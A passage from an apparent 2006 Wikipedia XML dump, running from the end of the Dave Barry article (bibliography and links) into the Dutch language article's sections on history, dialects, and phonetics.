*''[[Dave Barry's Guide to Life]](1991) includes ''[[Dave Barry's Guide to Marriage and/or Sex]], ''[[Claw Your Way to the Top]]'', ''[[Stay Fit and Healthy Until You're Dead]]'' and ''[[Babies and Other Hazards of Sex]]''
*''[[Dave Barry Does Japan]]'' (1992)
*''[[Dave Barry's Gift Guide to End All Gift Guides]]'' (1994)
*''[[Dave Barry's Complete Guide to Guys]]'' (1996)
*''[[Dave Barry in Cyberspace]]'' (1996)
*''[[Dave Barry's Book of Bad Songs]]'' (1997)
*''[[Dave Barry Turns 50]]'' (1998)
*''[[Dave Barry Hits Below the Beltway: A Vicious and Unprovoked Attack on Our Most Cherished Political Institutions]]'' (2001)
*''[[&quot;My Teenage Son's Goal in Life is to Make Me Feel 3,500 Years Old&quot; and Other Thoughts On Parenting From Dave Barry]]'' (2001)
*''[[&quot;The Greatest Invention In The History Of Mankind Is Beer&quot; And Other Manly Insights From Dave Barry]]'' (2001)
*''[[Dave Barry's Money Secrets]]'' (2006)

===Collected columns===
*''[[Dave Barry's Bad Habits: A 100% Fact-Free Book]]'' (1987)
*''[[Dave Barry's Greatest Hits]]'' (1988)
*''[[Dave Barry Talks Back]]'' (1991)
*''[[The World According to Dave Barry]]'' (1994) includes ''[[Dave Barry Talks Back]]'' and ''[[Dave Barry's Greatest Hits]]''
*''[[Dave Barry is NOT Making This Up]]'' (1995)
*''[[Dave Barry Is from Mars and Venus]]'' (1997)
*''[[Dave Barry Is Not Taking This Sitting Down]]'' (2000)
*''[[Boogers Are My Beat|Dave Barry: Boogers Are My Beat]]'' (2003)

===Collaborations===
*''Mid-Life Confidential: The Rock Bottom Remainders Tour America With Three Chords and an Attitude'' (1994) with Stephen King, Kathi Kamen Goldmark, Al Kooper, Ridley Pearson, Roy Blount, Jr., Joel Selvin, Amy Tan, Dave Marsh, Tad Bartimus, Matt Groening, Greil Marcus, Tabitha King, Barbara Kingsolver, Michael Dorris
*''Naked Came the Manatee'' (1998) with Carl Hiaasen, Elmore Leonard, James W. Hall, Edna Buchanan, Les Standiford, Paul Levine, Brian Antoni, Tananarive Due, [[John Dufresne]], Vicki Hendricks, Carolina Hospital, Evelyn Mayerson

===Audio recordings===
*''A Totally Random Evening With Dave Barry'' (1992)

==External links==
{{Wikiquote}}
*[http://www.davebarry.com/ The Official Dave Barry Website]
*[http://blogs.herald.com/dave_barrys_blog/ The Official Dave Barry Blog]
*[http://www.miami.com/mld/miamiherald/living/columnists/dave_barry/ Dave Barry, The Miami Herald]
*{{imdb title|id=0246464|title=Big Trouble}}
*{{imdb title|id=0407680|title=Complete Guide to Guys}}
*[http://www.guidetoguys.com/ Complete Guide to Guys official website]
*[http://www.dqydj.com/rbr.htm Rock Bottom Remainders, &quot;Don't Quit Your Day Job&quot; Records]
*[http://www.blu5.net/talk/showthread.php?s=b49dfb17d549c933dc03271e088af245&amp;postid=511068, &quot;final column: 'The last word, for now; humorist gives jokes a rest'&quot;]
*[http://www.slate.com/id/2112218/ Dave Barry: Elegy for the humorist.]
* See also Usenet Group alt.fan.dave_barry

[[Category:1947 births|Barry, Dave]]
[[Category:Living people|Barry, Dave]]
[[Category:Dave Barry| ]]
[[Category:Libertarians|Barry, Dave]]
[[Category:Conscientious objectors|Barry, Dave]]
[[Category:Pulitzer Prize winners|Barry, Dave]]


[[cs:Dave Barry]]
[[he:דייב בארי]]</text>
    </revision>
  </page>
  <page>
    <title>Dutch language</title>
    <id>8433</id>
    <revision>
      <id>41546000</id>
      <timestamp>2006-02-28T01:47:54Z</timestamp>
      <contributor>
        <username>Kelovy</username>
        <id>357014</id>
      </contributor>
      <minor />
      <comment>+sk</comment>
      <text xml:space="preserve">{{Infobox Language
|name=Dutch
|nativename=Nederlands
|states=[[Netherlands]], [[Belgium]], [[Suriname]], [[Aruba]], [[Netherlands Antilles]], [[Indonesia]], [[France]]
|speakers=22 million (2005)
|rank=48
|familycolor=Indo-European
|fam2=[[Germanic languages|Germanic]]
|fam3=[[West Germanic languages|West Germanic]]
|fam4=[[Low Germanic languages|Low Germanic]]
|fam5=[[Low Franconian languages|Low Franconian]]
|nation=[[Aruba]], [[Belgium]], [[European Union]], [[Netherlands]], [[Netherlands Antilles]], [[Suriname]]
|agency=Nederlandse Taalunie&lt;br&gt;([[Dutch Language Union]])
|iso1=nl|iso2b=dut|iso2t=nld|iso3=nld}}

'''Dutch''' (''{{Audio|nl-Nederlands.ogg|Nederlands}}''), sometimes referred to as ''Netherlandic'' in [[English language|English]], is a [[Low Germanic languages|Low Germanic]] [[language]] spoken by around 22 million people, mainly in the [[Netherlands]] and [[Belgium]] (2005 [http://taalunieversum.org/taal/vragen/antwoord/4/]). Dutch spoken in [[Flanders]] ''(Vlaanderen)'', the northern part of Belgium, is sometimes referred to as [[Flemish (linguistics)|Flemish]] ''(Vlaams)''.

==History==
The [[West Germanic]] [[dialect]]s can be divided according to tribe ([[Frisian language|Frisian]], [[Saxon people|Saxon]], [[Franconian]], [[Bavarian]] and [[Swabian German|Swabian]]), and according to the extent of their participation in the [[High German consonant shift]] ([[Low Germanic languages|Low Germanic]] against [[High Germanic languages|High Germanic]]). The present Dutch [[standard language]] is largely derived from [[Low Franconian languages|Low Franconian]] dialects spoken in the [[Low Countries]] that must have reached a separate identity no later than about AD 600.

[[Image:Vogala.png|frame|right|The ''Hebban olla vogala'' fragment.]]An early Dutch recorded writing is: &quot;''Hebban olla vogala nestas hagunnan, hinase hic enda tu, wat unbidan we nu''&quot; (&quot;All birds have started making nests, except me and you, what are we waiting for&quot;), dating around the year [[1100]], written by a Flemish [[monk]] in a [[convent]] in [[Rochester, Kent|Rochester]], [[England]]. For a long time this sentence was considered to be the earliest in Dutch, but since its discovery even older fragments were found, such as ''&quot;Visc flot aftar themo uuatare&quot;'' (&quot;A fish was swimming in the water&quot;) and ''&quot;Gelobistu in got alamehtigan fadaer&quot;'' (&quot;Do you believe in God the almighty father&quot;). The latter fragment was written as early as [[900]]. Professor Luc De Grauwe from [[Ghent University]] disputes the language of these sequences of text, and actually believes them to be [[Old English language|Old English]], so there is still some controversy surrounding them.

A process of [[standard language|standardization]] started in the [[Middle ages]], especially under the influence of the [[Burgundy|Burgundian]] Ducal Court in Dijon (Brussels after [[1477]]). The dialects of Flanders and [[Brabant]] were the most influential around this time. The process of standardization became much stronger in the 16th century, mainly based on the urban dialect of [[Antwerp]]. In [[1585]] Antwerp fell to the Spanish army: many fled to Holland, strongly influencing the urban dialects of that province. In 1618 a further important step was made towards a unified language, when the first major Dutch [[bible translation]] was created that people from all over the [[Republic of the Seven United Provinces of the Netherlands|United Provinces]] could understand. It used elements from various (even Low Saxon) dialects, but was mostly based on the urban dialects from [[Holland]].

:''See also: [[Dutch literature]]''

===Etymology of the word &quot;Dutch&quot;===
The word ''Dutch'' comes from the old Germanic word ''theodisk'', meaning 'of the people', 'vernacular' as opposed to official, i.e. Latin or later [[French language|French]]. ''Theodisk'' in modern [[German language|German]] has become ''deutsch'' and in Dutch has become the two forms: ''duits'', meaning ''German'', and ''[[Dietsch|diets]]'' meaning something closer to ''Dutch'' but no longer in general use (see the [[Dietsch|diets]] article).  ''Theodisk'' survives as ''tedesco'' (&quot;German&quot;) in modern [[Italian language|Italian]]. 

The English word ''Dutch'' has also changed with time. It was only in the early [[1600s]], with growing cultural contacts and the rise of an independent country, that the modern meaning arose, i.e., 'designating the people of the Netherlands or their language'. Prior to this, the meaning was more general and could refer to any German-speaking area or the languages there (including the current [[Germany]], Austria, and Switzerland as well as the Netherlands). For example:

*[[William Caxton]] (c.1422-1491) wrote in his ''Prologue'' to his Aeneids in [[1490]] that an old English text was more like to ''Dutche'' than English. In his notes, Professor W.F. Bolton makes clear that this word means ''German'' in general rather than ''Dutch''.

*Peter Heylyn, ''Cosmography in four books containing the Chronography and History of the whole world'', Vol. II (London, 1677: 154) contains &quot;...the Dutch call Leibnitz,&quot; adding that Dutch is spoken in the parts of Hungary adjoining to Germany.

*To this day, descendants of German settlers in southeastern Pennsylvania are known as the &quot;[[Pennsylvania Dutch]]&quot;, especially those who are members of the [[Plain sects|plain sects]]. (Those who are not members of the plain sects often identify themselves as being ''Pennsylvania German''.)

==Classification and related languages==
Dutch is a [[Germanic language]], and within this family it is a [[West Germanic language]].  Since it did not experience the [[High German consonant shift]] (apart from þ&amp;rarr;d), it is sometimes classed as a [[Low Germanic languages|Low Germanic language]],  and indeed it is most closely related to the [[Low German]] dialects of Northern [[Germany]]. There is in fact a [[dialect continuum]] which blurs any clear boundary between Dutch and Low German, and the Low Franconian rural dialects of the Lower Rhine are much closer to [[Hollandic]] than to [[German language|standard German]].  Dividing the West Germanic languages into low and high in this way, however, obscures the fact that Dutch is more closely related to modern standard (high) German than to [[English language|English]].   

Dutch is grammatically similar to German, for example in syntax and verb morphology.  (For a comparison of verb morphology in English, Dutch and German, see [[Germanic weak verb]] and [[West Germanic strong verb]].) Compare, for example:

:''De kleinste kameleon is maar (slechts) 2 cm groot, de grootste kan wel 80 cm worden.'' (Dutch)

:''Das kleinste Chamäleon ist nur 2 cm groß, das größte kann auch 80 cm erreichen.'' (German)

Some less common phrasings and word choices have closer cognates in German:

:''Der kleinste Chamäleon ist nur (schlechthin) 2 cm groß, der größte kann gut 80 cm werden.'' (less common German)

(Which translates as &quot;The smallest chameleon is just 2 cm big, the biggest can well achieve 80 cm.&quot;)


Further examples for the close vicinity of Dutch and German:

:''Op de berg staat een klein huisje'' (Dutch) - ''Auf dem Berg steht ein kleines Häuschen'' (German) 

(in English: &quot;There's a small house on the mountain&quot;. Literally: &quot;On the mountain stands a small house&quot;)

:''In de stad leven veel mensen''  (Dutch) - ''In der Stadt leben viele Menschen'' (German)

(in English: &quot;A lot of people live in the town&quot;. Literally: &quot;In the city live many people.&quot;)


In some places, German and Dutch are spoken almost interchangeably. Dutch speakers are generally able to read German to a considerable degree, and German speakers (who can read English) can generally read Dutch to some extent.

Dutch still has grammatical cases, but these have become limited mostly to usage in pronouns and set phrases. Technically, Dutch still has three genders: masculine, feminine and neuter. Apart from in more formal language, the old masculine and feminine have fallen together to form the common gender (de), whilst the neuter (het) remains distinct as before. The inflexional grammar of Dutch, for instance in adjective and noun endings, has been greatly simplified in a manner more akin to English than German.

Native Dutch vocabulary (as opposed to loan words) is of common West Germanic stock, and in terms of sound shifts it can be imagined as occupying a position somewhere between English and German.

{| class=&quot;wikitable&quot;
! English
! Dutch
! German
! Remark
|-----
| eat&lt;br&gt;cat&lt;br&gt;town || eten&lt;br&gt;kat&lt;br&gt;tuin (garden) || essen&lt;br&gt;Katze&lt;br&gt;Zaun (fence) || English and Dutch have kept Germanic t; German has shifted t&amp;rarr;s/z/tz
|-
| apple&lt;br&gt;pipe&lt;br&gt;Scunthorpe||appel&lt;br&gt;pijp&lt;br&gt;dorp (village)||Apfel&lt;br&gt;Pfeife&lt;br&gt;Dorf|| English and Dutch have kept Germanic p; German has shifted p&amp;rarr;f/pf
|-
| think&lt;br&gt;brother&lt;br&gt;thorn|| denken&lt;br&gt;broeder&lt;br&gt;doorn|| denken&lt;br&gt;Bruder&lt;br&gt;Dorn || English has kept Germanic þ; Dutch, like German, has shifted þ&amp;rarr;d
|-
|yesterday&lt;br&gt;yarn&lt;br&gt;day||gisteren&lt;br&gt;garen&lt;br&gt;dag||gestern&lt;br&gt;Garn&lt;br&gt;Tag||Dutch has shifted Germanic g to voiced affricate /&amp;gamma;/, but retained spelling with &lt;g&gt; and thus at least a visual similarity to German; English has shifted further: g&amp;rarr;y
|-----
|}

Even when written Dutch looks similar to German, however, the [[Pronunciation|pronunciation]] may be markedly different.  This is true especially of the [[Diphthong|diphthongs]] and of the letter &lt;g&gt;, which is pronounced as a velar continuant similar to the &lt;ch&gt; in Swiss German.  The [[Rhotic consonant|rhotic pronunciation]] of &lt;r&gt; causes some English-speakers to believe Dutch sounds similar to a Northern English accent; this is the reason for [[Bill Bryson|Bill Bryson's]] famous remark that when one hears Dutch one feels one ought to be able understand it. Dutch pronunciation is however difficult to master for Anglophones, many of its diphthongs and gutturals being the greatest obstacles. Germans seem to have an advantage with the Dutch grammar, but suffer the same difficulties as the English when dealing with pronunciation. An exception on this all are the North Germans, who can read or understand Dutch after a relatively short period of acclimatisation, speaking however remaining a challenge. Dutch is generally not on the curriculum of German schools, except in some border cities, such as [[Aachen]] and [[Oldenburg]].

==Geographic distribution==
Dutch is spoken by most inhabitants of the [[Netherlands]]. It is also spoken by most in the [[Flanders|Flemish]] northern half of [[Belgium]], with the exception of [[Brussels]], where it is spoken by a minority of the population, [[French language|French]] being the dominant language. (This minority is typically estimated between 7,5% and 15%.) In the northernmost part of [[France]], Dutch is spoken by a minority and the language is usually referred to as ''Vlomsch''. On the [[Caribbean]] islands of [[Aruba]] and the [[Netherlands Antilles]], Dutch is used but less so than [[Papiamento]]. Dutch is spoken in [[Suriname]], and there are some speakers of Dutch in [[Indonesia]]. In [[South Africa]] and [[Namibia]] a language related to Dutch called [[Afrikaans]] is spoken.

===Official status===
Dutch is an [[official language]] of the [[Netherlands]], [[Belgium]], [[Suriname]], [[Aruba]], and the [[Netherlands Antilles]]. The Dutch, Flemish and Surinamese governments coordinate their language activities in the ''Nederlandse Taalunie'' ('[[Dutch Language Union]]'). Afrikaans is an official language in South Africa. Of the inhabitants of New Zealand, 0.7% say their home language is Dutch (see article on [[New Zealand]]). The number of people coming from the Netherlands though is considerably higher but from the second generation on most people changed their language in favour of English.

''Standaardnederlands'' or ''Algemeen Nederlands'' ('Common Dutch', abbreviated to AN) is the [[standard language]] as taught in schools and used by authorities in the Netherlands, Flanders, Suriname and the Netherlands Antilles. The Dutch Language Union defines what is AN and what is not, for example in terms of orthography. 
''Algemeen Nederlands'' replaced the older name ''Algemeen Beschaafd Nederlands'' ('Common Civilized Dutch', abbreviated to ABN) when it was no longer considered politically correct, because it implied that people who didn't speak ABN were not civilized.

===Dialects===
[[Flemish (linguistics)|Flemish]] (Vlaams in [[Dutch]]) is the collective term often used for the Dutch [[dialect]]s spoken in Belgium.  It is not a separate language (though the term is often also used to distinguish the standard Dutch spoken in Flanders from that of the Netherlands) nor are the dialects in Belgium more closely related to each other than to the dialects in The Netherlands. The forms of Dutch spoken in Flanders and in the Netherlands differ somewhat and are instantly recognisable. One could draw a parallel with the [[American and British English differences]] (spoken form only). The Americans and the English use slightly divergent vocabularies, though both officially correct. However, while American English is considered a derivative of English by some, Dutch in Flanders and Dutch spoken in the Netherlands are historically equal.

In [[Flanders]], there are roughly four dialect groups: [[West Flemish]], [[East Flemish]], [[Brabantian]] and [[Limburgish]]. They have all incorporated French loanwords in everyday language. An example is ''fourchette'' in various forms (originally a French word meaning fork), instead of ''vork''. Brussels, especially, is heavily influenced by French because roughly 85% of the inhabitants of [[Brussels]] speak French. The Limburgish in Belgium is closely related to Dutch Limburgish. An oddity of West Flemish (and to a lesser extent, East Flemish) is that the pronunciation of the &quot;soft g&quot; sound (the [[voiced velar fricative]]) is almost identical to that of the &quot;h&quot; sound (the [[voiced glottal fricative]]), thus, the words ''held'' (hero) and ''geld'' (money) sound nearly the same. Some Flemish dialects are so distinct that they might be considered as separate language variants. [[West Flemish]] in particular has sometimes been considered as such. Dialect borders of these dialects do not correspond to present political boundaries, but reflect older, medieval divisions. The [[Brabantian]] dialect group, for instance, also extends to much of the south of the Netherlands, and so does [[Limburgish]]. West-Flemish is also spoken in the Dutch province of Zeeland, in a variant called Zeeuws (or Zealandic, in English) and even in a small part near [[Dunkirk, France]], bordering on Belgium. 

The Netherlands also has different dialect regions. In the east there is an extensive [[Low German]] dialect area: the provinces of [[Groningen (province)|Groningen]] ([[Gronings]]), [[Drenthe]] and [[Overijssel]] are almost exclusively Low Saxon. [[Zuid-Gelders]] is a dialect also spoken in the German land of [[North Rhine-Westphalia]]. Brabantian ([[Noord-Brabant]]) fade into the dialects spoken in the adjoining provinces of Belgium. Same thing applies to [[Limburgish]] ([[Limburg (Netherlands)]]), but this variant also has the status of official Minority Language in the [[Netherlands]] (but not in [[Belgium]]). It receives protection by chapter 2 of the [[European Charter for Regional or Minority Languages]]. [[Limburgish]] is Low Franconian, as is Dutch, but is so much more distant (it has been influenced by the [[Rhinelandic]] dialects like the [[Cologne]] dialect: [[Kölsch Platt]], and has had a very different development since the late Middle Ages) that it is less and less classified as being Dutch.

[[Zealandic]] of most of [[Zeeland]] is a transitional regional language between West Flemish and Hollandic, with the exception of the eastern part of [[Zealandic Flanders]] where East Flemish is spoken. In [[Holland]] proper, [[Hollandic]] is spoken, though the original forms of this dialect, heavily influenced by a Frisian [[substrate]], are now relatively rare; the urban dialects of the [[Randstad]], which are Hollandic dialects, do not diverge from standard Dutch very much, but there is a clear difference between the city dialects of [[Rotterdam]], [[The Hague]], [[Amsterdam]] or [[Utrecht (city)|Utrecht]]. 

In some rural Hollandic areas more authentic Hollandic dialects are still being used, especially north of Amsterdam. Limburgish and [[Low German]] have been elevated by the Netherlands (and by Germany) to the legal status of ''streektaal'' ([[regional language]]) according to the [[European Charter for Regional or Minority Languages]], which causes some native speakers to consider them separate languages. Some dialects are unintelligible to some speakers of Hollandic.

Dutch dialects are not spoken as often as they used to be. Nowadays in The Netherlands only older people speak these dialects in the smaller villages, with the exception of the Low Saxon and Limburgish ''streektalen'', which are actively promoted by some provinces and still in common use. Most towns and cities stick to standard Dutch - although many cities have their own ''city dialect'', which continues to prosper. In Belgium dialects are very much alive however; many senior citizens there are unable to speak standard Dutch. In both the Netherlands and Belgium, many larger cities also have several distinct smaller dialects.

By many native speakers of Dutch, both in Belgium and the Netherlands, [[Afrikaans]] and [[Frisian language|Frisian]] are often assumed to be very deviant dialects of Dutch. In fact, they are two different languages, Afrikaans having evolved mainly from Dutch. There is no dialect continuum between the Frisian and adjoining Low Saxon. A Frisian standard language has been developed.

Until the early [[20th century]], variants of Dutch were still spoken by some descendants of [[Dutch colonization of the Americas|Dutch colonies in the United States]]. [[New Jersey]] in particular had an active Dutch community with a highly divergent dialect that was spoken as recently as the [[1950s]].  See [[Jersey Dutch]] for more on this dialect.

===Accents===
In addition to the many dialects of the Dutch language many provinces and larger cities have their own [[Accent (linguistics)|accents]], which sometimes are also called dialects. Ethnic communities tend to have varying accents: for example many people from the Dutch Antilles or Suriname speak with a &quot;[[Surinaams]]&quot; accent, and the Dutch-Moroccan and Dutch-Turkish youth have also developed their own accents, which in some cases are enhanced by a debased Dutch [[slang]] with [[Arabic language|Arabic]] or [[Turkish language|Turkish]] words thrown in, which serves in making their speech nearly unintelligible to some older speakers of standard Dutch.

===Derived languages===

A close relative of the Dutch language is [[Afrikaans language|Afrikaans]], a language spoken in [[South Africa]] and [[Namibia]], originating primarily from [[17th century]] Dutch dialects, and a great deal of mutual intelligibility still exists. One who can speak Dutch is usually able to read and understand Afrikaans. There are also [[Dutch-based creole languages]].

==Sounds==
{{IPA notice}}
===Vowels===
The [[vowel]] inventory of Dutch is large, with 14 simple vowels and four diphthongs. The vowels {{IPA|/e&amp;#720;/}}, {{IPA|/ø&amp;#720;/}}, {{IPA|/o&amp;#720;/}} are included on the diphthong chart because they are actually produced as narrow closing diphthongs in many dialects, but behave phonologically like the other simple vowels. When unstressed, /a/ and {{IPA|/&amp;#593;/}} are usually pronounced like {{IPA|[ɐ]}} (a near-open central vowel), but this change is not phonemic.

{| align=&quot;right&quot;
!align=&quot;right&quot;|IPA chart Dutch [[monophthong]]s
|-
|[[Image:Dutch-monophthongs.png]]
|-
|&amp;nbsp;
|-
!align=&quot;right&quot;|IPA chart Dutch [[diphthong]]s
|-
|[[Image:Dutch-diphthongs.png]]
|}

{| class=&quot;wikitable&quot;
|+ '''Dutch Vowels with Example Words'''
|align=center|'''Symbol'''
|colspan=3 align=center|'''Example'''
|-
![[International Phonetic Alphabet|IPA]]
![[International Phonetic Alphabet|IPA]]
![[orthography]]
!English translation
|-
|[[near-close near-front unrounded vowel|{{IPA|&amp;#618;}}]]
|{{IPA|b&amp;#618;t}}
|''bit''
|'bit'
|-
|[[close front unrounded vowel|{{IPA|i}}]]
|{{IPA|bit}}
|''biet''
|'beetroot'
|-
|[[near-close near-front rounded vowel|{{IPA|&amp;#655;}}]]
|{{IPA|h&amp;#655;t}}
|''hut''
|'cabin'
|-
|[[close front rounded vowel|{{IPA|y}}]]
|{{IPA|fyt}}
|''fuut''
|'grebe'
|-
|[[open-mid front unrounded vowel|{{IPA|&amp;#603;}}]]
|{{IPA|b&amp;#603;t}}
|''bed''
|'bed'
|-
|[[close-mid front unrounded vowel|{{IPA|e&amp;#720;}}]]
|{{IPA|be&amp;#720;t}}
|''beet''
|'bite'
|-
|[[mid central vowel|{{IPA|&amp;#601;}}]]
|{{IPA|d&amp;#601;}}
|'' de''
|'the'
|-
|[[close-mid front rounded vowel|{{IPA|&amp;#248;&amp;#720;}}]]
|{{IPA|n&amp;#248;&amp;#720;s}}
|''neus''
|'nose'
|-
|[[open back unrounded vowel|{{IPA|&amp;#593;}}]]
|{{IPA|b&amp;#593;t}}
|''bad''
|'bath'
|-
|[[open front unrounded vowel|{{IPA|a&amp;#720;}}]]
|{{IPA|za&amp;#720;t}}
|''zaad''
|'seed'
|-
|[[open-mid back rounded vowel|{{IPA|&amp;#596;}}]]
|{{IPA|b&amp;#596;t}}
|''bot''
|'bone'
|-
|[[close-mid back rounded vowel|{{IPA|o&amp;#720;}}]]
|{{IPA|bo&amp;#720;t}}
|''boot''
|'boat'
|-
|[[close back rounded vowel|{{IPA|u}}]]
|{{IPA|hut}}
|''hoed''
|'hat'
|-
|{{IPA|&amp;#603;i}}
|{{IPA|&amp;#603;i, &amp;#651;&amp;#603;in}}
|''ei'', ''wijn''
|'egg', 'wine'
|-
|{{IPA|&amp;#339;y}}
|{{IPA|&amp;#339;y}}
|''ui''
|'onion'
|-
|{{IPA|&amp;#652;u}}
|{{IPA|z&amp;#652;ut}}
|''zout''
|'salt'
|}

===Consonants===
{| class=&quot;wikitable&quot;
|+ '''IPA chart Dutch consonants'''
|-
&lt;!-- Heading row --&gt;
| 
|[[Bilabial consonant|Bilabial]]
|[[Labiodental consonant|Labio-&lt;br /&gt;dental]]
|[[Alveolar consonant|Alveolar]]
|[[postalveolar consonant|Post-&lt;br /&gt;alveolar]]
|[[Palatal consonant|Palatal]]
|[[Velar consonant|Velar]]
|[[Uvular consonant|Uvular]]
|[[Glottal consonant|Glottal]]
|- &lt;!-- Stops --&gt;
|[[Plosive consonant|Plosive]]
| {{IPA|p}} {{IPA|b}}
| 
| {{IPA|t}} {{IPA|d}}
| 
| 
| {{IPA|k}} {{IPA|g}}&lt;sup&gt;1&lt;/sup&gt;
|
| {{IPA|&amp;#660;}}&amp;nbsp;&lt;sup&gt;2&lt;/sup&gt;
|- &lt;!-- Nasals --&gt;
|[[Nasal consonant|Nasal]]
| {{IPA|m}}
| 
| {{IPA|n}}
| 
|
| {{IPA|&amp;#331;}}
|
|
|- &lt;!-- Fricatives --&gt;
|[[Fricative consonant|Fricative]]
| 
| {{IPA|f}} {{IPA|v}}&amp;nbsp;&lt;sup&gt;3&lt;/sup&gt;
| {{IPA|s}} {{IPA|z}}&amp;nbsp;&lt;sup&gt;3&lt;/sup&gt;
| {{IPA|&amp;#643;}} {{IPA|&amp;#658;}}&amp;nbsp;&lt;sup&gt;4&lt;/sup&gt;
|
| {{IPA|x}} {{IPA|&amp;#611;}}&amp;nbsp;&lt;sup&gt;3&lt;/sup&gt;
| {{IPA|&amp;#641;}}&amp;nbsp;&lt;sup&gt;5&lt;/sup&gt;
| {{IPA|&amp;#614;}}
|- &lt;!-- Approximants --&gt;
|[[Approximant consonant|Approximant]]
| 
| {{IPA|&amp;#651;}}&amp;nbsp;&lt;sup&gt;6&lt;/sup&gt;
|
|
| {{IPA|j}}
| 
|
|
|- &lt;!-- Lateral approximant --&gt;
|[[Lateral approximant consonant|Lateral]]
| 
| 
| {{IPA|l}}
| 
|
|
|
|
|}

Where symbols for consonants occur in pairs, the left represents the [[voiceless consonant]] and the right represents the [[voiced consonant]].

Notes:

1) {{IPA|[g]}} is not a native phoneme of Dutch and only occurs in borrowed words, like ''goal''.

2) {{IPA|[&amp;#660;]}} is not a separate phoneme in Dutch, but is inserted before vowel-initial syllables within words after {{IPA|/a/}} and {{IPA|/&amp;#601;/}}.

3) In some dialects, the voiced fricatives have almost completely merged with the voiceless ones, and {{IPA|[v]}} is usually realized as {{IPA|[f]}}, {{IPA|[z]}} is usually realized as {{IPA|[s]}}, and {{IPA|[&amp;#611;]}} is usually realized as {{IPA|[x]}}.

4) {{IPA|[&amp;#643;]}} and {{IPA|[&amp;#658;]}} are not native phonemes of Dutch, and usually occur in borrowed words, like ''show'' and ''bagage'' (baggage). However, {{IPA|/s/}} + {{IPA|/j/}} phoneme sequences in Dutch are often realized as {{IPA|[&amp;#643;]}}, like in the word ''huisje'' (='little house'). {{IPA|[&amp;#658;]}} often is realized as {{IPA|[&amp;#643;]}}.

5) The realization of the {{IPA|/r/}} phoneme varies considerably from dialect to dialect. In the so-called &quot;standard&quot; Dutch of [[Amsterdam]]&lt;sup&gt;7&lt;/sup&gt;, {{IPA|/r/}} is realized as indicated here&amp;#8212;as the voiced uvular fricative {{IPA|[&amp;#641;]}}. In other dialects, however, it is realized as the uvular trill {{IPA|[&amp;#640;]}} or as the alveolar trill {{IPA|[r]}}.

6) The realization of the {{IPA|/ʋ/}} varies considerably from the Northern to the Southern and Belgium dialects of the Dutch language. In the South, including Belgium, it is realized as {{IPA|[w]}}. Note that in the South {{IPA|/ʋ/}} is usually considered an allophone of {{IPA|[v]}}.

7) The &quot;standard&quot; Dutch is that as spoken in Haarlem, ''not'' the Amsterdams dialect. Amsterdams dialect is different from standard Dutch in that {{IPA|[z]}} is replaced by {{IPA|[s]}}


{| class=&quot;wikitable&quot;
|+ '''Dutch Consonants with Example Words'''
|colspan=1 align=center|'''Symbol'''
|colspan=4 align=center|'''Example'''
|-
![[International Phonetic Alphabet|IPA]]
![[International Phonetic Alphabet|IPA]]
![[orthography]]
!English translation
|-
|[[Voiceless bilabial plosive|p]]
|{{IPA|p&amp;#603;n}}
|''pen''
|'pen'
|-
|[[Voiced bilabial plosive|b]]
|{{IPA|bit}}
|''biet''
|'beetroot'
|-
|[[Voiceless alveolar plosive|t]]
|{{IPA|t&amp;#593;k}}
|''tak''
|'branch'
|-
|[[Voiced alveolar plosive|d]]
|{{IPA|d&amp;#593;k}}
|''dak''
|'roof'
|-
|[[Voiceless velar plosive|k]]
|{{IPA|k&amp;#593;t}}
|''kat''
|'cat'
|-
|[[Voiced velar plosive|g]]
|{{IPA|gol}}
|''goal''
|'goal' (sports)
|-
|[[Bilabial nasal|m]]
|{{IPA|m&amp;#603;ns}}
|''mens''
|'human being'
|-
|[[Alveolar nasal|n]]
|{{IPA|n&amp;#603;k}}
|''nek''
|'neck'
|-
|[[Velar nasal|{{IPA|&amp;#331;}}]]
|{{IPA|&amp;#603;&amp;#331;}}
|''eng''
|'scary'
|-
|[[Voiceless labiodental fricative|f]]
|{{IPA|fits}}
|''fiets''
|'bicycle'
|-
|[[Voiced labiodental fricative|v]]
|{{IPA|ov&amp;#601;n}}
|''oven''
|'oven'
|-
|[[Voiceless alveolar fricative|s]]
|{{IPA|s&amp;#596;k}}
|''sok''
|'sock'
|-
|[[Voiced alveolar fricative|z]]
|{{IPA|zep}}
|''zeep''
|'soap'
|-
|[[Voiceless postalveolar fricative|{{IPA|&amp;#643;}}]]
|{{IPA|&amp;#643;&amp;#603;f}}
|''chef''
|'boss, chief'
|-
|[[Voiced postalveolar fricative|{{IPA|&amp;#658;}}]]
|{{IPA|&amp;#658;y&amp;#641;i}}
|''jury''
|'jury'
|-
|[[Voiceless velar fricative|x]]
|{{IPA|&amp;#593;xt}}
|''acht''
|'eight'
|-
|[[Voiced velar fricative|{{IPA|&amp;#611;}}]]
|{{IPA|&amp;#611;a&amp;#720;n}}
|''gaan''
|'to go'
|-
|[[Voiced uvular fricative|{{IPA|&amp;#641;}}]]
|{{IPA|&amp;#641;&amp;#593;t}}
|''rat''
|'rat'
|-
|[[Voiced glottal fricative|{{IPA|&amp;#614;}}]]
|{{IPA|&amp;#614;ut}}
|''hoed''
|'hat'
|-
|[[Labiodental approximant|{{IPA|&amp;#651;}}]]
|{{IPA|&amp;#651;&amp;#593;&amp;#331;}}
|''wang''
|'cheek'
|-
|[[Palatal approximant|j]]
|{{IPA|j&amp;#593;s}}
|''jas''
|'coat'
|-
|[[Lateral alveolar approximant|l]]
|{{IPA|l&amp;#593;nt}}
|''land''
|'land / country'
|-
|[[Glottal stop|{{IPA|&amp;#660;}}]]
|{{IPA|b&amp;#601;&amp;#660;am&amp;#601;}}
|''beamen''
|'to confirm'
|}

===Phonology===
Dutch [[Final devoicing|devoices all consonants at the ends of words]] (e.g. a final ''d'' sound becomes a ''t'' sound; to become 'ents of worts'), which presents a problem for Dutch speakers when learning English. This is partly reflected in the spelling, the singular ''hui'''s''''' has the plural ''hui'''z'''en'' (house(s)) and ''dui'''f''''' becomes ''dui'''v'''en'' (dove). The other cases, viz. ‘p’/‘b’ and ‘d’/‘t’ are always written with the voiced consonant, although a devoiced one is actually pronounced, e.g. sg. ''baar'''d''''' (beard), pronounced as ''baar'''t''''', has plural ''baar'''d'''en'' and sg. ''ri'''b''''' (rib), pronounced as ''rip'' has plural ''ribben''.

